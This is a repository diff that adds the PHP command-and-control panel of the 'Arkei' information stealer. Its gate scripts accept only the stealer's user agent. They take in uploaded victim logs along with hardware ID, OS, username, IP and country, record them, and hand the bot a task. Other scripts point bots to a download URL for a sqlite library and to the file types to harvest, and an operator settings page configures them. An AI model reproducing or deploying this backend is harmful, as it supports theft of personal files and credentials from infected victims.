<td class="c-table__cell"><span class="u-text-mute"><? echo $profile["id"]; ?></span></td>
|
||||
<td class="c-table__cell">
|
||||
<div class="c-field">
|
||||
<input class="c-input" name="profile_<? echo $profile["id"]; ?>_name" type="text" value="<? echo $profile["Name"]; ?>">
|
||||
</div>
|
||||
</td>
|
||||
<td class="c-table__cell">
|
||||
<span class="u-text-mute"><? echo $profile["Count"]; ?> Installs</span>
|
||||
</td>
|
||||
<td class="c-table__cell">
|
||||
<span class="u-text-mute">
|
||||
<div class="c-field">
|
||||
<textarea class="c-input" name="profile_<? echo $profile["id"]; ?>_task"><? echo $profile["task"]; ?></textarea>
|
||||
</div>
|
||||
</span>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<? } ?>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="col u-mb-medium" style="width:200px; margin-right: 50%; margin-top: -30px;">
|
||||
<a onclick="document.getElementById('profiles').submit(); return false;" class="c-btn c-btn--success c-btn--fullwidth">Save</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
RewriteEngine On
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_FILENAME}\.php -f
|
||||
RewriteRule ^(.*)$ $1.php
|
||||
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
|
||||
error_reporting(0);
|
||||
|
||||
if($_SERVER["HTTP_USER_AGENT"] != "Arkei/1.0")
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
|
||||
echo "success";
|
||||
|
||||
?>
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
if($_SERVER["HTTP_USER_AGENT"] != "Arkei/1.0")
|
||||
exit(0);
|
||||
|
||||
ini_set("upload_max_filesize", "255M");
|
||||
ini_set("post_max_size", "256M");
|
||||
|
||||
require("../app/config.php");
|
||||
require('../app/geoip/geoip.php');
|
||||
|
||||
$blacklist = array(".php", ".phtml", ".php3", ".php4", ".html", ".htm");
|
||||
|
||||
foreach ($blacklist as $item)
|
||||
if(preg_match("/$item\$/i", $_FILES['logs']['name'])) exit;
|
||||
|
||||
$hwid = checkParam($_POST["hwid"]);
|
||||
$os = checkParam($_POST["os"]);
|
||||
$platform = checkParam($_POST["platform"]);
|
||||
$profile = checkParam($_POST["profile"]);
|
||||
$count = checkParam($_POST["count"]) - 3;
|
||||
$username = checkParam($_POST["user"]);
|
||||
$ip = $_SERVER["REMOTE_ADDR"];
|
||||
|
||||
$type = checkParam($_POST["type"]);
|
||||
|
||||
if($profile != null)
|
||||
{
|
||||
$date = date("d/m/Y H:i:s");
|
||||
if($os == null){ $os = "Unknown"; }
|
||||
if($platform == null){ $os = "Unknown"; }
|
||||
$system = $os ." ". $platform;
|
||||
|
||||
$country = ip_code($ip);
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
$uploadfile = $config["logs_folder"] ."/". basename($_FILES['logs']['name']);
|
||||
|
||||
if (move_uploaded_file($_FILES['logs']['tmp_name'], $uploadfile))
|
||||
{
|
||||
$database->query("INSERT INTO `logs`(`id`, `hwid`, `system`, `ip`, `country`, `date`, `profile`, `count`, `user`) VALUES ('','$hwid','$system','$ip','$country','$date','$profile','$count','$username')");
|
||||
$database->query("UPDATE `stats` SET `Value`=`Value`+1 WHERE `Name`='all_logs'");
|
||||
$database->query("UPDATE `stats` SET `Value`=`Value`+". $count ." WHERE `Name`='all_files'");
|
||||
$database->query("UPDATE `profiles` SET `Count`=`Count`+1 WHERE `id`='$profile'");
|
||||
|
||||
$getTask = $database->query("SELECT `task` FROM `profiles` WHERE `id`='$profile'")->fetch_array();
|
||||
echo $getTask["task"];
|
||||
}
|
||||
else
|
||||
{
|
||||
$database->query("UPDATE `stats` SET `Value`=`Value`+1 WHERE `Name`='errors'");
|
||||
echo "error";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
echo "error";
|
||||
}
|
||||
|
||||
mysqli_close($database);
|
||||
}
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
if($_SERVER["HTTP_USER_AGENT"] != "Arkei/1.0")
|
||||
exit(0);
|
||||
|
||||
require("../app/config.php");
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
$get= $database->query("SELECT `Value` FROM `settings` WHERE `Name`='sqlite_lib_url'")->fetch_array();
|
||||
|
||||
header('Location: '. $get["Value"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
error_reporting(0);
|
||||
|
||||
if($_SERVER["HTTP_USER_AGENT"] != "Arkei/1.0")
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
|
||||
require("../app/config.php");
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
$get= $database->query("SELECT `Value` FROM `settings` WHERE `Name`='grub_files'")->fetch_array();
|
||||
|
||||
header('Location: '. $get["Value"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -0,0 +1,179 @@
|
||||
<?php
|
||||
/*
|
||||
Settings Page
|
||||
*/
|
||||
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
|
||||
require("app/config.php");
|
||||
|
||||
if($config["db_server"] == null)
|
||||
{
|
||||
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/install');
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if($_SESSION["auth"] != true)
|
||||
{
|
||||
header( 'Location: http://'. $config["server_addr"] .'/auth', true, 301 );
|
||||
}
|
||||
|
||||
$sqlite_lib_url = checkParam($_POST["sqlite_lib_url"]);
|
||||
$grub_files = checkParam($_POST["grub_files"]);
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
if($sqlite_lib_url != null)
|
||||
{
|
||||
$database->query("UPDATE `settings` SET `Value`='$sqlite_lib_url' WHERE `Name`='sqlite_lib_url';");
|
||||
}
|
||||
|
||||
if($grub_files != null)
|
||||
{
|
||||
$database->query("UPDATE `settings` SET `Value`='$grub_files' WHERE `Name`='grub_files';");
|
||||
}
|
||||
|
||||
$_sqlite_lib_url = $database->query("SELECT * FROM `settings` WHERE `Name`='sqlite_lib_url';")->fetch_array();
|
||||
$_grub_files = $database->query("SELECT * FROM `settings` WHERE `Name`='grub_files';")->fetch_array();
|
||||
}
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
<!doctype html>
|
||||
<html lang="en-us">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge">
|
||||
<title>Settings | Arkei</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600" rel="stylesheet">
|
||||
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png">
|
||||
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
|
||||
|
||||
<link rel="stylesheet" href="css/main.min.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="c-toolbar u-mb-medium">
|
||||
<h3 class="c-toolbar__title has-divider">Settings</h3>
|
||||
<h5 class="c-toolbar__meta u-mr-auto">Arkei v2.0 | Develop by <a href="https://t.me/foxovsky">@foxovsky</a></h5>
|
||||
|
||||
<a href="/index"><button type="button" class="c-btn c-btn--info u-ml-small" >Logs</button></a>
|
||||
<a href="/profiles"><button type="button" class="c-btn c-btn--info u-ml-small" >Profiles</button></a>
|
||||
<a href="/settings"><button type="button" class="c-btn c-btn--success u-ml-small" >Settings</button></a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-xl-3 u-hidden-down@wide">
|
||||
<aside class="c-menu u-ml-medium">
|
||||
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
<div class="col-md-7 col-xl-6">
|
||||
<main>
|
||||
<form id="settings" action="/settings" method="POST">
|
||||
|
||||
<h2 class="u-h3 u-mb-small">Settings</h2>
|
||||
|
||||
<div class="c-card u-p-medium u-text-small u-mb-small">
|
||||
|
||||
<h6 class="u-text-bold">MySQL Info</h6>
|
||||
|
||||
<dl class="u-flex u-pv-small u-border-bottom">
|
||||
<dt class="u-width-25">MySQL Status</dt>
|
||||
<?
|
||||
|
||||
if($database)
|
||||
{
|
||||
?><dd style="color:green">Connected</dd><?
|
||||
}
|
||||
else
|
||||
{
|
||||
?><dd style="color:red">Can't connect to DB.</dd><?
|
||||
}
|
||||
|
||||
?>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small u-border-bottom">
|
||||
<dt class="u-width-25">Server</dt>
|
||||
<dd><? echo $config["db_server"]; ?></dd>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small u-border-bottom">
|
||||
<dt class="u-width-25">User</dt>
|
||||
<dd><? echo $config["db_user"]; ?></dd>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small u-border-bottom">
|
||||
<dt class="u-width-25">Database</dt>
|
||||
<dd><? echo $config["db_name"]; ?></dd>
|
||||
</dl>
|
||||
|
||||
<br>
|
||||
<i>Edit app/config.php to change this params.</i>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="c-card u-p-medium u-text-small u-mb-small">
|
||||
|
||||
<h6 class="u-text-bold">Gruber Settings</h6>
|
||||
|
||||
<dl class="u-flex u-pv-small u-border-bottom">
|
||||
<dt class="u-width-25">File formats</dt>
|
||||
<dd>
|
||||
<div class="c-field">
|
||||
<input class="c-input" id="grub_files" name="grub_files" style="width: 380px; margin-top:-9px;" type="text" placeholder="txt;doc;docx;log;rar;zip;7z;jpeg;jpg;png;bmp;" value="<? if($database) { echo $_grub_files["Value"]; } ?>">
|
||||
</div>
|
||||
</dd>
|
||||
</dl>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="c-card u-p-medium u-text-small u-mb-small">
|
||||
|
||||
<h6 class="u-text-bold">Other Settings</h6>
|
||||
|
||||
<dl class="u-flex u-pv-small u-border-bottom">
|
||||
<dt class="u-width-25">Sqlite Lib Url</dt>
|
||||
<dd>
|
||||
<div class="c-field">
|
||||
<input class="c-input" id="sqlite_lib_url" name="sqlite_lib_url" style="width: 380px; margin-top:-9px;" type="text" placeholder="http://github.com/user/example/raw/master/sqlite.dll" value="<?
|
||||
if($database)
|
||||
{
|
||||
echo $_sqlite_lib_url["Value"];
|
||||
} ?>">
|
||||
</div>
|
||||
</dd>
|
||||
</dl>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="col u-mb-medium" style="width:200px; margin-right: 50%;">
|
||||
<a onclick="document.getElementById('settings').submit(); return false;" class="c-btn c-btn--success c-btn--fullwidth">Save</a>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
<? mysql_close($database); ?>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user